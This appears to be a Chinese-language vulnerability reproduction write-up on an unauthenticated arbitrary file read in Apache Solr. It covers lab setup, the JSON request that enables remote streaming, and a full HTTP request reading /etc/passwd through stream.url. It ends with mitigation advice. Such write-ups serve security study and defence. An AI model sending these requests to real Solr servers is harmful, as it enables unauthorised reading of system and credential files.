作者:淺墨
漏洞簡介
Apache Solr是一個開源搜索服務引擎,默認安裝未授權情況下攻擊者可以構造惡意HTTP請求讀取目標Apache Solr服務器的任意文件。
點擊下方鏈接,靶場實戰
CVE-2019-0192 Apache Solr遠程反序列化代碼執行漏洞
Apache Solr是一個開源的搜索服務器。具有高度可靠、可伸縮和容錯的,提供分布式索引、復制和負載平衡查詢、自動故障轉移和恢復、集中配置等功能。
影響版本
solr任意版本
環境搭建
漏洞環境下載:
https://archive.apache.org/dist/lucene/solr/8.8.0/solr-8.8.0.tgz
解壓后進入bin目錄,啟動(需要java環境),
./solr start
此時啟動的solr是沒有核心進行索引和搜索的,創建一個節點(核心)
./solr create -c test
訪問:http://ip:8983可以看到創建的核心

實際場景下可以看到會有很多核心

漏洞復現
啟用遠程流傳輸
訪問http://ip:8983/solr/test/config/抓包,將請求包修改為POST請求,修改Content-Type為“application/json”,發送以下數據:
{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}

即可開啟遠程流。
讀取文件
引入遠程流,將stream.url的參數的內容作為流傳遞。正常情況下stream.url傳入的內容為“stream.url=http:/www.remotesite.com/path/to/file.pdf”,構造傳入的敏感文件
POST /solr/test/debug/dump?param=ContentStreams HTTP/1.1 Host: 192.168.74.139:8983 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Edg/89.0.774.57 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en;q=0.7,en-US;q=0.6 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 29
stream.url=file:///etc/passwd

漏洞修復
(官方不承認這是漏洞.jpg)
因為solr默認安裝情況下未授權,導致可以讀取任意文件,啟用Apache Solr身份驗證可有效緩解該漏洞的影響
配置訪問控制策略,避免Apache Solr暴露在互聯網
參考
賽博回憶錄:公布某Solr最新版任意文件讀取0day